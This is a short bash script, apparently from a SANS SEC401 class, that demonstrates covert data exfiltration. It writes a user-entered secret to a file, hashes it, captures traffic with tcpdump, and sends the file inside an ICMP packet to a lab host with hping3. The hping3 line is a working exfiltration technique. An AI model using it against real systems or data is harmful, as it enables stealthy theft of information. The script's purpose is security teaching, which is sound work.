SANS SEC 401 - Exfiltration Example

sans-sec-401-exfil.sh

#! /bin/bash

# Create file
echo "Input string to exfiltrate:"
read secret
echo $secret > secret.txt

# Hash file
md5sum    secret.txt >  secret.txt.hash
sha1sum   secret.txt >> secret.txt.hash
sha256sum secret.txt >> secret.txt.hash

# Start tcpdump
gnome-terminal -e "tcpdump -i eth0 host 10.10.10.10" && sleep 2

# Exfiltrate file
data_size=$(wc -c secret.txt | awk '{print $1}')
hping3 -c 1 -1 -E secret.txt -u 10.10.10.10 -d $data_size

# Normal Ping
ping -c 1 10.10.10.10

# Integrity of secret
echo; echo; cat secret.txt.hash | awk '{print $2 " -- " $1}'